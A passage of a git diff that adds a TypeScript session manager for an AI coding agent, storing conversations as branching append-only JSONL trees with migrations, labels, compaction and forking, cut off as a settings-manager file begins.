tree structure (returned by "read" methods in SessionManager) */ +export type SessionEntry = + | SessionMessageEntry + | ThinkingLevelChangeEntry + | ModelChangeEntry + | CompactionEntry + | BranchSummaryEntry + | CustomEntry + | CustomMessageEntry + | LabelEntry + | SessionInfoEntry; + +/** Raw file entry (includes header) */ +export type FileEntry = SessionHeader | SessionEntry; + +/** Tree node for getTree() - defensive copy of session structure */ +export interface SessionTreeNode { + entry: SessionEntry; + children: SessionTreeNode[]; + /** Resolved label for this entry, if any */ + label?: string; + /** Timestamp of the latest label change for this entry, if any */ + labelTimestamp?: string; +} + +export interface SessionContext { + messages: AgentMessage[]; + thinkingLevel: string; + model: { provider: string; modelId: string } | null; +} + +export interface SessionInfo { + path: string; + id: string; + /** Working directory where the session was started. Empty string for old sessions. */ + cwd: string; + /** User-defined display name from session_info entries. */ + name?: string; + /** Path to the parent session (if this session was forked). */ + parentSessionPath?: string; + created: Date; + modified: Date; + messageCount: number; + firstMessage: string; + allMessagesText: string; +} + +export type ReadonlySessionManager = Pick< + SessionManager, + | "getCwd" + | "getSessionDir" + | "getSessionId" + | "getSessionFile" + | "getLeafId" + | "getLeafEntry" + | "getEntry" + | "getLabel" + | "getBranch" + | "getHeader" + | "getEntries" + | "getTree" + | "getSessionName" +>; + +function createSessionId(): string { + return uuidv7(); +} + +/** Generate a unique short ID (8 hex chars, collision-checked) */ +function generateId(byId: { has(id: string): boolean }): string { + for (let i = 0; i < 100; i++) { + const id = randomUUID().slice(0, 8); + if (!byId.has(id)) { + return id; + } + } + // Fallback to full UUID if somehow we have collisions + return randomUUID(); +} + +/** Migrate v1 → v2: add id/parentId tree structure. Mutates in place. */ +function migrateV1ToV2(entries: FileEntry[]): void { + const ids = new Set(); + let prevId: string | null = null; + + for (const entry of entries) { + if (entry.type === "session") { + entry.version = 2; + continue; + } + + entry.id = generateId(ids); + entry.parentId = prevId; + prevId = entry.id; + + // Convert firstKeptEntryIndex to firstKeptEntryId for compaction + if (entry.type === "compaction") { + const comp = entry as CompactionEntry & { firstKeptEntryIndex?: number }; + if (typeof comp.firstKeptEntryIndex === "number") { + const targetEntry = entries[comp.firstKeptEntryIndex]; + if (targetEntry && targetEntry.type !== "session") { + comp.firstKeptEntryId = targetEntry.id; + } + delete comp.firstKeptEntryIndex; + } + } + } +} + +/** Migrate v2 → v3: rename hookMessage role to custom. Mutates in place. */ +function migrateV2ToV3(entries: FileEntry[]): void { + for (const entry of entries) { + if (entry.type === "session") { + entry.version = 3; + continue; + } + + // Update message entries with hookMessage role + if (entry.type === "message") { + const msgEntry = entry; + if (msgEntry.message && (msgEntry.message as { role: string }).role === "hookMessage") { + (msgEntry.message as { role: string }).role = "custom"; + } + } + } +} + +/** + * Run all necessary migrations to bring entries to current version. + * Mutates entries in place. Returns true if any migration was applied. + */ +function migrateToCurrentVersion(entries: FileEntry[]): boolean { + const header = entries.find((e) => e.type === "session"); + const version = header?.version ?? 1; + + if (version >= CURRENT_SESSION_VERSION) { + return false; + } + + if (version < 2) { + migrateV1ToV2(entries); + } + if (version < 3) { + migrateV2ToV3(entries); + } + + return true; +} + +/** Exported for testing */ +export function migrateSessionEntries(entries: FileEntry[]): void { + migrateToCurrentVersion(entries); +} + +/** Exported for compaction.test.ts */ +export function parseSessionEntries(content: string): FileEntry[] { + const entries: FileEntry[] = []; + const lines = content.trim().split("\n"); + + for (const line of lines) { + if (!line.trim()) { + continue; + } + try { + const entry = JSON.parse(line) as FileEntry; + entries.push(entry); + } catch { + // Skip malformed lines + } + } + + return entries; +} + +export function getLatestCompactionEntry(entries: SessionEntry[]): CompactionEntry | null { + for (let i = entries.length - 1; i >= 0; i--) { + if (entries[i].type === "compaction") { + return entries[i] as CompactionEntry; + } + } + return null; +} + +/** + * Build the session context from entries using tree traversal. + * If leafId is provided, walks from that entry to root. + * Handles compaction and branch summaries along the path. + */ +export function buildSessionContext( + entries: SessionEntry[], + leafId?: string | null, + byId?: Map, +): SessionContext { + // Build uuid index if not available + if (!byId) { + byId = new Map(); + for (const entry of entries) { + byId.set(entry.id, entry); + } + } + + // Find leaf + let leaf: SessionEntry | undefined; + if (leafId === null) { + // Explicitly null - return no messages (navigated to before first entry) + return { messages: [], thinkingLevel: "off", model: null }; + } + if (leafId) { + leaf = byId.get(leafId); + } + if (!leaf) { + // Fallback to last entry (when leafId is undefined) + leaf = entries[entries.length - 1]; + } + + if (!leaf) { + return { messages: [], thinkingLevel: "off", model: null }; + } + + // Walk from leaf to root, collecting path + const path: SessionEntry[] = []; + let current: SessionEntry | undefined = leaf; + while (current) { + path.unshift(current); + current = current.parentId ? byId.get(current.parentId) : undefined; + } + + return buildCoreSessionContext(path as CoreSessionTreeEntry[]) as SessionContext; +} + +/** + * Compute the default session directory for a cwd. + * Encodes cwd into a safe directory name under ~/.openclaw/agent/sessions/. + */ +export function getDefaultSessionDir(cwd: string, agentDir: string = getDefaultAgentDir()): string { + const safePath = `--${cwd.replace(/^[/\\]/, "").replace(/[/\\:]/g, "-")}--`; + const sessionDir = join(agentDir, "sessions", safePath); + if (!existsSync(sessionDir)) { + mkdirSync(sessionDir, { recursive: true }); + } + return sessionDir; +} + +/** Exported for testing */ +export function loadEntriesFromFile(filePath: string): FileEntry[] { + if (!existsSync(filePath)) { + return []; + } + + const content = readFileSync(filePath, "utf8"); + const entries: FileEntry[] = []; + const lines = content.trim().split("\n"); + + for (const line of lines) { + if (!line.trim()) { + continue; + } + try { + const entry = JSON.parse(line) as FileEntry; + entries.push(entry); + } catch { + // Skip malformed lines + } + } + + // Validate session header + if (entries.length === 0) { + return entries; + } + const header = entries[0]; + if (header.type !== "session" || typeof (header as { id?: unknown }).id !== "string") { + return []; + } + + return entries; +} + +function isValidSessionFile(filePath: string): boolean { + try { + const fd = openSync(filePath, "r"); + const buffer = Buffer.alloc(512); + const bytesRead = readSync(fd, buffer, 0, 512, 0); + closeSync(fd); + const firstLine = buffer.toString("utf8", 0, bytesRead).split("\n")[0]; + if (!firstLine) { + return false; + } + const header = JSON.parse(firstLine); + return header.type === "session" && typeof header.id === "string"; + } catch { + return false; + } +} + +/** Exported for testing */ +export function findMostRecentSession(sessionDir: string): string | null { + try { + const files = readdirSync(sessionDir) + .filter((f) => f.endsWith(".jsonl")) + .map((f) => join(sessionDir, f)) + .filter(isValidSessionFile) + .map((path) => ({ path, mtime: statSync(path).mtime })) + .toSorted((a, b) => b.mtime.getTime() - a.mtime.getTime()); + + return files[0]?.path || null; + } catch { + return null; + } +} + +function isMessageWithContent(message: AgentMessage): message is Message { + return typeof (message as Message).role === "string" && "content" in message; +} + +function extractTextContent(message: Message): string { + const content = message.content; + if (typeof content === "string") { + return content; + } + return content + .filter((block): block is TextContent => block.type === "text") + .map((block) => block.text) + .join(" "); +} + +function getLastActivityTime(entries: FileEntry[]): number | undefined { + let lastActivityTime: number | undefined; + + for (const entry of entries) { + if (entry.type !== "message") { + continue; + } + + const message = entry.message; + if (!isMessageWithContent(message)) { + continue; + } + if (message.role !== "user" && message.role !== "assistant") { + continue; + } + + const msgTimestamp = (message as { timestamp?: number }).timestamp; + if (typeof msgTimestamp === "number") { + lastActivityTime = Math.max(lastActivityTime ?? 0, msgTimestamp); + continue; + } + + const entryTimestamp = (entry as SessionEntryBase).timestamp; + if (typeof entryTimestamp === "string") { + const t = new Date(entryTimestamp).getTime(); + if (!Number.isNaN(t)) { + lastActivityTime = Math.max(lastActivityTime ?? 0, t); + } + } + } + + return lastActivityTime; +} + +function getSessionModifiedDate( + entries: FileEntry[], + header: SessionHeader, + statsMtime: Date, +): Date { + const lastActivityTime = getLastActivityTime(entries); + if (typeof lastActivityTime === "number" && lastActivityTime > 0) { + return new Date(lastActivityTime); + } + + const headerTime = + typeof header.timestamp === "string" ? new Date(header.timestamp).getTime() : Number.NaN; + return !Number.isNaN(headerTime) ? new Date(headerTime) : statsMtime; +} + +async function buildSessionInfo(filePath: string): Promise { + try { + const content = await readFile(filePath, "utf8"); + const entries: FileEntry[] = []; + const lines = content.trim().split("\n"); + + for (const line of lines) { + if (!line.trim()) { + continue; + } + try { + entries.push(JSON.parse(line) as FileEntry); + } catch { + // Skip malformed lines + } + } + + if (entries.length === 0) { + return null; + } + const header = entries[0]; + if (header.type !== "session") { + return null; + } + + const stats = await stat(filePath); + let messageCount = 0; + let firstMessage = ""; + const allMessages: string[] = []; + let name: string | undefined; + + for (const entry of entries) { + // Extract session name (use latest, including explicit clears) + if (entry.type === "session_info") { + const infoEntry = entry; + name = infoEntry.name?.trim() || undefined; + } + + if (entry.type !== "message") { + continue; + } + messageCount++; + + const message = entry.message; + if (!isMessageWithContent(message)) { + continue; + } + if (message.role !== "user" && message.role !== "assistant") { + continue; + } + + const textContent = extractTextContent(message); + if (!textContent) { + continue; + } + + allMessages.push(textContent); + if (!firstMessage && message.role === "user") { + firstMessage = textContent; + } + } + + const cwd = typeof header.cwd === "string" ? header.cwd : ""; + const parentSessionPath = header.parentSession; + + const modified = getSessionModifiedDate(entries, header, stats.mtime); + + return { + path: filePath, + id: header.id, + cwd, + name, + parentSessionPath, + created: new Date(header.timestamp), + modified, + messageCount, + firstMessage: firstMessage || "(no messages)", + allMessagesText: allMessages.join(" "), + }; + } catch { + return null; + } +} + +export type SessionListProgress = (loaded: number, total: number) => void; + +const MAX_CONCURRENT_SESSION_INFO_LOADS = 10; + +async function buildSessionInfosWithConcurrency( + files: string[], + onLoaded: () => void, +): Promise<(SessionInfo | null)[]> { + const results: (SessionInfo | null)[] = Array.from({ length: files.length }, () => null); + const inFlight = new Set>(); + let nextIndex = 0; + + const startNext = (): void => { + const index = nextIndex++; + const file = files[index]; + if (!file) { + return; + } + + let task: Promise; + task = buildSessionInfo(file) + .then((info) => { + results[index] = info; + }) + .catch(() => { + results[index] = null; + }) + .finally(() => { + inFlight.delete(task); + onLoaded(); + }); + inFlight.add(task); + }; + + while (nextIndex < files.length || inFlight.size > 0) { + while (nextIndex < files.length && inFlight.size < MAX_CONCURRENT_SESSION_INFO_LOADS) { + startNext(); + } + if (inFlight.size > 0) { + await Promise.race(inFlight); + } + } + + return results; +} + +async function listSessionsFromDir( + dir: string, + onProgress?: SessionListProgress, + progressOffset = 0, + progressTotal?: number, +): Promise { + const sessions: SessionInfo[] = []; + if (!existsSync(dir)) { + return sessions; + } + + try { + const dirEntries = await readdir(dir); + const files = dirEntries.filter((f) => f.endsWith(".jsonl")).map((f) => join(dir, f)); + const total = progressTotal ?? files.length; + + let loaded = 0; + const results = await buildSessionInfosWithConcurrency(files, () => { + loaded++; + onProgress?.(progressOffset + loaded, total); + }); + for (const info of results) { + if (info) { + sessions.push(info); + } + } + } catch { + // Return empty list on error + } + + return sessions; +} + +/** + * Manages conversation sessions as append-only trees stored in JSONL files. + * + * Each session entry has an id and parentId forming a tree structure. The "leaf" + * pointer tracks the current position. Appending creates a child of the current leaf. + * Branching moves the leaf to an earlier entry, allowing new branches without + * modifying history. + * + * Use buildSessionContext() to get the resolved message list for the LLM, which + * handles compaction summaries and follows the path from root to current leaf. + */ +export class SessionManager { + private sessionId: string = ""; + private sessionFile: string | undefined; + private sessionDir: string; + private cwd: string; + private shouldPersist: boolean; + private flushed: boolean = false; + private fileEntries: FileEntry[] = []; + private byId: Map = new Map(); + private labelsById: Map = new Map(); + private labelTimestampsById: Map = new Map(); + private leafId: string | null = null; + + private constructor( + cwd: string, + sessionDir: string, + sessionFile: string | undefined, + persist: boolean, + ) { + this.cwd = cwd; + this.sessionDir = sessionDir; + this.shouldPersist = persist; + if (persist && sessionDir && !existsSync(sessionDir)) { + mkdirSync(sessionDir, { recursive: true }); + } + + if (sessionFile) { + this.setSessionFile(sessionFile); + } else { + this.newSession(); + } + } + + /** Switch to a different session file (used for resume and branching) */ + setSessionFile(sessionFile: string): void { + this.sessionFile = resolve(sessionFile); + if (existsSync(this.sessionFile)) { + this.fileEntries = loadEntriesFromFile(this.sessionFile); + + // If file was empty or corrupted (no valid header), truncate and start fresh + // to avoid appending messages without a session header (which breaks the session) + if (this.fileEntries.length === 0) { + const explicitPath = this.sessionFile; + this.newSession(); + this.sessionFile = explicitPath; + this.rewriteFile(); + this.flushed = true; + return; + } + + const header = this.fileEntries.find((e) => e.type === "session"); + this.sessionId = header?.id ?? createSessionId(); + + if (migrateToCurrentVersion(this.fileEntries)) { + this.rewriteFile(); + } + + this.buildIndex(); + this.flushed = true; + } else { + const explicitPath = this.sessionFile; + this.newSession(); + this.sessionFile = explicitPath; // preserve explicit path from --session flag + } + } + + newSession(options?: NewSessionOptions): string | undefined { + this.sessionId = options?.id ?? createSessionId(); + const timestamp = new Date().toISOString(); + const header: SessionHeader = { + type: "session", + version: CURRENT_SESSION_VERSION, + id: this.sessionId, + timestamp, + cwd: this.cwd, + parentSession: options?.parentSession, + }; + this.fileEntries = [header]; + this.byId.clear(); + this.labelsById.clear(); + this.leafId = null; + this.flushed = false; + + if (this.shouldPersist) { + const fileTimestamp = timestamp.replace(/[:.]/g, "-"); + this.sessionFile = join(this.getSessionDir(), `${fileTimestamp}_${this.sessionId}.jsonl`); + } + return this.sessionFile; + } + + private buildIndex(): void { + this.byId.clear(); + this.labelsById.clear(); + this.labelTimestampsById.clear(); + this.leafId = null; + for (const entry of this.fileEntries) { + if (entry.type === "session") { + continue; + } + this.byId.set(entry.id, entry); + this.leafId = entry.id; + if (entry.type === "label") { + if (entry.label) { + this.labelsById.set(entry.targetId, entry.label); + this.labelTimestampsById.set(entry.targetId, entry.timestamp); + } else { + this.labelsById.delete(entry.targetId); + this.labelTimestampsById.delete(entry.targetId); + } + } + } + } + + private rewriteFile(): void { + if (!this.shouldPersist || !this.sessionFile) { + return; + } + writeJsonlEntriesSync(this.sessionFile, this.fileEntries); + } + + isPersisted(): boolean { + return this.shouldPersist; + } + + getCwd(): string { + return this.cwd; + } + + getSessionDir(): string { + return this.sessionDir; + } + + getSessionId(): string { + return this.sessionId; + } + + getSessionFile(): string | undefined { + return this.sessionFile; + } + + persist(entry: SessionEntry): void { + if (!this.shouldPersist || !this.sessionFile) { + return; + } + + const hasAssistant = this.fileEntries.some( + (e) => e.type === "message" && e.message.role === "assistant", + ); + if (!hasAssistant) { + // Mark as not flushed so when assistant arrives, all entries get written + this.flushed = false; + return; + } + + if (!this.flushed) { + appendJsonlEntriesSync(this.sessionFile, this.fileEntries); + this.flushed = true; + } else { + appendJsonlEntrySync(this.sessionFile, entry); + } + } + + private appendEntry(entry: SessionEntry): void { + this.fileEntries.push(entry); + this.byId.set(entry.id, entry); + this.leafId = entry.id; + this.persist(entry); + } + + /** Append a message as child of current leaf, then advance leaf. Returns entry id. + * Does not allow writing CompactionSummaryMessage and BranchSummaryMessage directly. + * Reason: we want these to be top-level entries in the session, not message session entries, + * so it is easier to find them. + * These need to be appended via appendCompaction() and appendBranchSummary() methods. + */ + appendMessage(message: Message | CustomMessage | BashExecutionMessage): string { + const entry: SessionMessageEntry = { + type: "message", + id: generateId(this.byId), + parentId: this.leafId, + timestamp: new Date().toISOString(), + message, + }; + this.appendEntry(entry); + return entry.id; + } + + /** Append a thinking level change as child of current leaf, then advance leaf. Returns entry id. */ + appendThinkingLevelChange(thinkingLevel: string): string { + const entry: ThinkingLevelChangeEntry = { + type: "thinking_level_change", + id: generateId(this.byId), + parentId: this.leafId, + timestamp: new Date().toISOString(), + thinkingLevel, + }; + this.appendEntry(entry); + return entry.id; + } + + /** Append a model change as child of current leaf, then advance leaf. Returns entry id. */ + appendModelChange(provider: string, modelId: string): string { + const entry: ModelChangeEntry = { + type: "model_change", + id: generateId(this.byId), + parentId: this.leafId, + timestamp: new Date().toISOString(), + provider, + modelId, + }; + this.appendEntry(entry); + return entry.id; + } + + /** Append a compaction summary as child of current leaf, then advance leaf. Returns entry id. */ + appendCompaction( + summary: string, + firstKeptEntryId: string, + tokensBefore: number, + details?: unknown, + fromHook?: boolean, + ): string { + const entry: CompactionEntry = { + type: "compaction", + id: generateId(this.byId), + parentId: this.leafId, + timestamp: new Date().toISOString(), + summary, + firstKeptEntryId, + tokensBefore, + details, + fromHook, + }; + this.appendEntry(entry); + return entry.id; + } + + /** Append a custom entry (for extensions) as child of current leaf, then advance leaf. Returns entry id. */ + appendCustomEntry(customType: string, data?: unknown): string { + const entry: CustomEntry = { + type: "custom", + customType, + data, + id: generateId(this.byId), + parentId: this.leafId, + timestamp: new Date().toISOString(), + }; + this.appendEntry(entry); + return entry.id; + } + + /** Append a session info entry (e.g., display name). Returns entry id. */ + appendSessionInfo(name: string): string { + const entry: SessionInfoEntry = { + type: "session_info", + id: generateId(this.byId), + parentId: this.leafId, + timestamp: new Date().toISOString(), + name: name.trim(), + }; + this.appendEntry(entry); + return entry.id; + } + + /** Get the current session name from the latest session_info entry, if any. */ + getSessionName(): string | undefined { + // Walk entries in reverse to find the latest session_info entry. + // Empty names explicitly clear the session title. + const entries = this.getEntries(); + for (let i = entries.length - 1; i >= 0; i--) { + const entry = entries[i]; + if (entry.type === "session_info") { + return entry.name?.trim() || undefined; + } + } + return undefined; + } + + /** + * Append a custom message entry (for extensions) that participates in LLM context. + * @param customType Extension identifier for filtering on reload + * @param content Message content (string or TextContent/ImageContent array) + * @param display Whether to show in TUI (true = styled display, false = hidden) + * @param details Optional extension-specific metadata (not sent to LLM) + * @returns Entry id + */ + appendCustomMessageEntry( + customType: string, + content: string | (TextContent | ImageContent)[], + display: boolean, + details?: unknown, + ): string { + const entry: CustomMessageEntry = { + type: "custom_message", + customType, + content, + display, + details, + id: generateId(this.byId), + parentId: this.leafId, + timestamp: new Date().toISOString(), + }; + this.appendEntry(entry); + return entry.id; + } + + // ========================================================================= + // Tree Traversal + // ========================================================================= + + getLeafId(): string | null { + return this.leafId; + } + + getLeafEntry(): SessionEntry | undefined { + return this.leafId ? this.byId.get(this.leafId) : undefined; + } + + getEntry(id: string): SessionEntry | undefined { + return this.byId.get(id); + } + + /** + * Get all direct children of an entry. + */ + getChildren(parentId: string): SessionEntry[] { + const children: SessionEntry[] = []; + for (const entry of this.byId.values()) { + if (entry.parentId === parentId) { + children.push(entry); + } + } + return children; + } + + /** + * Get the label for an entry, if any. + */ + getLabel(id: string): string | undefined { + return this.labelsById.get(id); + } + + /** + * Set or clear a label on an entry. + * Labels are user-defined markers for bookmarking/navigation. + * Pass undefined or empty string to clear the label. + */ + appendLabelChange(targetId: string, label: string | undefined): string { + if (!this.byId.has(targetId)) { + throw new Error(`Entry ${targetId} not found`); + } + const entry: LabelEntry = { + type: "label", + id: generateId(this.byId), + parentId: this.leafId, + timestamp: new Date().toISOString(), + targetId, + label, + }; + this.appendEntry(entry); + if (label) { + this.labelsById.set(targetId, label); + this.labelTimestampsById.set(targetId, entry.timestamp); + } else { + this.labelsById.delete(targetId); + this.labelTimestampsById.delete(targetId); + } + return entry.id; + } + + /** + * Walk from entry to root, returning all entries in path order. + * Includes all entry types (messages, compaction, model changes, etc.). + * Use buildSessionContext() to get the resolved messages for the LLM. + */ + getBranch(fromId?: string): SessionEntry[] { + const path: SessionEntry[] = []; + const startId = fromId ?? this.leafId; + let current = startId ? this.byId.get(startId) : undefined; + while (current) { + path.unshift(current); + current = current.parentId ? this.byId.get(current.parentId) : undefined; + } + return path; + } + + /** + * Build the session context (what gets sent to the LLM). + * Uses tree traversal from current leaf. + */ + buildSessionContext(): SessionContext { + return buildSessionContext(this.getEntries(), this.leafId, this.byId); + } + + /** + * Get session header. + */ + getHeader(): SessionHeader | null { + const h = this.fileEntries.find((e) => e.type === "session"); + return h ? h : null; + } + + /** + * Get all session entries (excludes header). Returns a shallow copy. + * The session is append-only: use appendXXX() to add entries, branch() to + * change the leaf pointer. Entries cannot be modified or deleted. + */ + getEntries(): SessionEntry[] { + return this.fileEntries.filter((e): e is SessionEntry => e.type !== "session"); + } + + /** + * Get the session as a tree structure. Returns a shallow defensive copy of all entries. + * A well-formed session has exactly one root (first entry with parentId === null). + * Orphaned entries (broken parent chain) are also returned as roots. + */ + getTree(): SessionTreeNode[] { + const entries = this.getEntries(); + const nodeMap = new Map(); + const roots: SessionTreeNode[] = []; + + // Create nodes with resolved labels + for (const entry of entries) { + const label = this.labelsById.get(entry.id); + const labelTimestamp = this.labelTimestampsById.get(entry.id); + nodeMap.set(entry.id, { entry, children: [], label, labelTimestamp }); + } + + // Build tree + for (const entry of entries) { + const node = nodeMap.get(entry.id)!; + if (entry.parentId === null || entry.parentId === entry.id) { + roots.push(node); + } else { + const parent = nodeMap.get(entry.parentId); + if (parent) { + parent.children.push(node); + } else { + // Orphan - treat as root + roots.push(node); + } + } + } + + // Sort children by timestamp (oldest first, newest at bottom) + // Use iterative approach to avoid stack overflow on deep trees + const stack: SessionTreeNode[] = [...roots]; + while (stack.length > 0) { + const node = stack.pop()!; + node.children.sort( + (a, b) => new Date(a.entry.timestamp).getTime() - new Date(b.entry.timestamp).getTime(), + ); + stack.push(...node.children); + } + + return roots; + } + + // ========================================================================= + // Branching + // ========================================================================= + + /** + * Start a new branch from an earlier entry. + * Moves the leaf pointer to the specified entry. The next appendXXX() call + * will create a child of that entry, forming a new branch. Existing entries + * are not modified or deleted. + */ + branch(branchFromId: string): void { + if (!this.byId.has(branchFromId)) { + throw new Error(`Entry ${branchFromId} not found`); + } + this.leafId = branchFromId; + } + + /** + * Reset the leaf pointer to null (before any entries). + * The next appendXXX() call will create a new root entry (parentId = null). + * Use this when navigating to re-edit the first user message. + */ + resetLeaf(): void { + this.leafId = null; + } + + /** + * Start a new branch with a summary of the abandoned path. + * Same as branch(), but also appends a branch_summary entry that captures + * context from the abandoned conversation path. + */ + branchWithSummary( + branchFromId: string | null, + summary: string, + details?: unknown, + fromHook?: boolean, + ): string { + if (branchFromId !== null && !this.byId.has(branchFromId)) { + throw new Error(`Entry ${branchFromId} not found`); + } + this.leafId = branchFromId; + const entry: BranchSummaryEntry = { + type: "branch_summary", + id: generateId(this.byId), + parentId: branchFromId, + timestamp: new Date().toISOString(), + fromId: branchFromId ?? "root", + summary, + details, + fromHook, + }; + this.appendEntry(entry); + return entry.id; + } + + /** + * Create a new session file containing only the path from root to the specified leaf. + * Useful for extracting a single conversation path from a branched session. + * Returns the new session file path, or undefined if not persisting. + */ + createBranchedSession(leafId: string): string | undefined { + const previousSessionFile = this.sessionFile; + const path = this.getBranch(leafId); + if (path.length === 0) { + throw new Error(`Entry ${leafId} not found`); + } + + // Filter out LabelEntry from path - we'll recreate them from the resolved map + const pathWithoutLabels = path.filter((e) => e.type !== "label"); + + const newSessionId = createSessionId(); + const timestamp = new Date().toISOString(); + const fileTimestamp = timestamp.replace(/[:.]/g, "-"); + const newSessionFile = join(this.getSessionDir(), `${fileTimestamp}_${newSessionId}.jsonl`); + + const header: SessionHeader = { + type: "session", + version: CURRENT_SESSION_VERSION, + id: newSessionId, + timestamp, + cwd: this.cwd, + parentSession: this.shouldPersist ? previousSessionFile : undefined, + }; + + // Collect labels for entries in the path + const pathEntryIds = new Set(pathWithoutLabels.map((e) => e.id)); + const labelsToWrite: Array<{ targetId: string; label: string; timestamp: string }> = []; + for (const [targetId, label] of this.labelsById) { + if (pathEntryIds.has(targetId)) { + labelsToWrite.push({ targetId, label, timestamp: this.labelTimestampsById.get(targetId)! }); + } + } + + if (this.shouldPersist) { + // Build label entries + const lastEntryId = pathWithoutLabels[pathWithoutLabels.length - 1]?.id || null; + let parentId = lastEntryId; + const labelEntries: LabelEntry[] = []; + for (const { targetId, label, timestamp: labelTimestamp } of labelsToWrite) { + const labelEntry: LabelEntry = { + type: "label", + id: generateId(new Set(pathEntryIds)), + parentId, + timestamp: labelTimestamp, + targetId, + label, + }; + pathEntryIds.add(labelEntry.id); + labelEntries.push(labelEntry); + parentId = labelEntry.id; + } + + this.fileEntries = [header, ...pathWithoutLabels, ...labelEntries]; + this.sessionId = newSessionId; + this.sessionFile = newSessionFile; + this.buildIndex(); + + // Only write the file now if it contains an assistant message. + // Otherwise defer to persist(), which creates the file on the + // first assistant response, matching the newSession() contract + // and avoiding the duplicate-header bug when persist()'s + // no-assistant guard later resets flushed to false. + const hasAssistant = this.fileEntries.some( + (e) => e.type === "message" && e.message.role === "assistant", + ); + if (hasAssistant) { + this.rewriteFile(); + this.flushed = true; + } else { + this.flushed = false; + } + + return newSessionFile; + } + + // In-memory mode: replace current session with the path + labels + const labelEntries: LabelEntry[] = []; + let parentId = pathWithoutLabels[pathWithoutLabels.length - 1]?.id || null; + for (const { targetId, label, timestamp: labelTimestamp } of labelsToWrite) { + const labelEntry: LabelEntry = { + type: "label", + id: generateId(new Set([...pathEntryIds, ...labelEntries.map((e) => e.id)])), + parentId, + timestamp: labelTimestamp, + targetId, + label, + }; + labelEntries.push(labelEntry); + parentId = labelEntry.id; + } + this.fileEntries = [header, ...pathWithoutLabels, ...labelEntries]; + this.sessionId = newSessionId; + this.buildIndex(); + return undefined; + } + + /** + * Create a new session. + * @param cwd Working directory (stored in session header) + * @param sessionDir Optional session directory. If omitted, uses default (~/.openclaw/agent/sessions//). + */ + static create(cwd: string, sessionDir?: string): SessionManager { + const dir = sessionDir ?? getDefaultSessionDir(cwd); + return new SessionManager(cwd, dir, undefined, true); + } + + /** + * Open a specific session file. + * @param path Path to session file + * @param sessionDir Optional session directory for /new or /branch. If omitted, derives from file's parent. + * @param cwdOverride Optional cwd override instead of the session header cwd. + */ + static open(path: string, sessionDir?: string, cwdOverride?: string): SessionManager { + // Extract cwd from session header if possible, otherwise use process.cwd() + const entries = loadEntriesFromFile(path); + const header = entries.find((e) => e.type === "session"); + const cwd = cwdOverride ?? header?.cwd ?? process.cwd(); + // If no sessionDir provided, derive from file's parent directory + const dir = sessionDir ?? resolve(path, ".."); + return new SessionManager(cwd, dir, path, true); + } + + /** + * Continue the most recent session, or create new if none. + * @param cwd Working directory + * @param sessionDir Optional session directory. If omitted, uses default (~/.openclaw/agent/sessions//). + */ + static continueRecent(cwd: string, sessionDir?: string): SessionManager { + const dir = sessionDir ?? getDefaultSessionDir(cwd); + const mostRecent = findMostRecentSession(dir); + if (mostRecent) { + return new SessionManager(cwd, dir, mostRecent, true); + } + return new SessionManager(cwd, dir, undefined, true); + } + + /** Create an in-memory session (no file persistence) */ + static inMemory(cwd: string = process.cwd()): SessionManager { + return new SessionManager(cwd, "", undefined, false); + } + + /** + * Fork a session from another project directory into the current project. + * Creates a new session in the target cwd with the full history from the source session. + * @param sourcePath Path to the source session file + * @param targetCwd Target working directory (where the new session will be stored) + * @param sessionDir Optional session directory. If omitted, uses default for targetCwd. + */ + static forkFrom(sourcePath: string, targetCwd: string, sessionDir?: string): SessionManager { + const sourceEntries = loadEntriesFromFile(sourcePath); + if (sourceEntries.length === 0) { + throw new Error(`Cannot fork: source session file is empty or invalid: ${sourcePath}`); + } + + const sourceHeader = sourceEntries.find((e) => e.type === "session"); + if (!sourceHeader) { + throw new Error(`Cannot fork: source session has no header: ${sourcePath}`); + } + + const dir = sessionDir ?? getDefaultSessionDir(targetCwd); + if (!existsSync(dir)) { + mkdirSync(dir, { recursive: true }); + } + + // Create new session file with new ID but forked content + const newSessionId = createSessionId(); + const timestamp = new Date().toISOString(); + const fileTimestamp = timestamp.replace(/[:.]/g, "-"); + const newSessionFile = join(dir, `${fileTimestamp}_${newSessionId}.jsonl`); + + // Write new header pointing to source as parent, with updated cwd + const newHeader: SessionHeader = { + type: "session", + version: CURRENT_SESSION_VERSION, + id: newSessionId, + timestamp, + cwd: targetCwd, + parentSession: sourcePath, + }; + appendJsonlEntrySync(newSessionFile, newHeader); + + // Copy all non-header entries from source + for (const entry of sourceEntries) { + if (entry.type !== "session") { + appendJsonlEntrySync(newSessionFile, entry); + } + } + + return new SessionManager(targetCwd, dir, newSessionFile, true); + } + + /** + * List all sessions for a directory. + * @param cwd Working directory (used to compute default session directory) + * @param sessionDir Optional session directory. If omitted, uses default (~/.openclaw/agent/sessions//). + * @param onProgress Optional callback for progress updates (loaded, total) + */ + static async list( + cwd: string, + sessionDir?: string, + onProgress?: SessionListProgress, + ): Promise { + const dir = sessionDir ?? getDefaultSessionDir(cwd); + const sessions = await listSessionsFromDir(dir, onProgress); + sessions.sort((a, b) => b.modified.getTime() - a.modified.getTime()); + return sessions; + } + + /** + * List all sessions across all project directories. + * @param onProgress Optional callback for progress updates (loaded, total) + */ + static async listAll(onProgress?: SessionListProgress): Promise { + const sessionsDir = getSessionsDir(); + + try { + if (!existsSync(sessionsDir)) { + return []; + } + const entries = await readdir(sessionsDir, { withFileTypes: true }); + const dirs = entries.filter((e) => e.isDirectory()).map((e) => join(sessionsDir, e.name)); + + // Count total files first for accurate progress + let totalFiles = 0; + const dirFiles: string[][] = []; + for (const dir of dirs) { + try { + const files = (await readdir(dir)).filter((f) => f.endsWith(".jsonl")); + dirFiles.push(files.map((f) => join(dir, f))); + totalFiles += files.length; + } catch { + dirFiles.push([]); + } + } + + // Process all files with progress tracking + let loaded = 0; + const sessions: SessionInfo[] = []; + const allFiles = dirFiles.flat(); + + const results = await buildSessionInfosWithConcurrency(allFiles, () => { + loaded++; + onProgress?.(loaded, totalFiles); + }); + + for (const info of results) { + if (info) { + sessions.push(info); + } + } + + sessions.sort((a, b) => b.modified.getTime() - a.modified.getTime()); + return sessions; + } catch { + return []; + } + } +} diff --git a/src/agents/sessions/settings-manager.ts b/src/agents/sessions/settings-manager.ts new file mode 100644 index 00000000000..2807fe2d3f1 --- /dev/null +++ b/src/agents/sessions/settings-manager.ts @@ -0,0 +1,1111 @@ +import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import { homedir } from "node:os"; +import { dirname, join } from "node:path"; +import lockfile from "proper-lockfile"; +import type { Transport } from "../../llm/types.js"; +import { CONFIG_DIR_NAME, getAgentDir } from "../config.js"; +import { 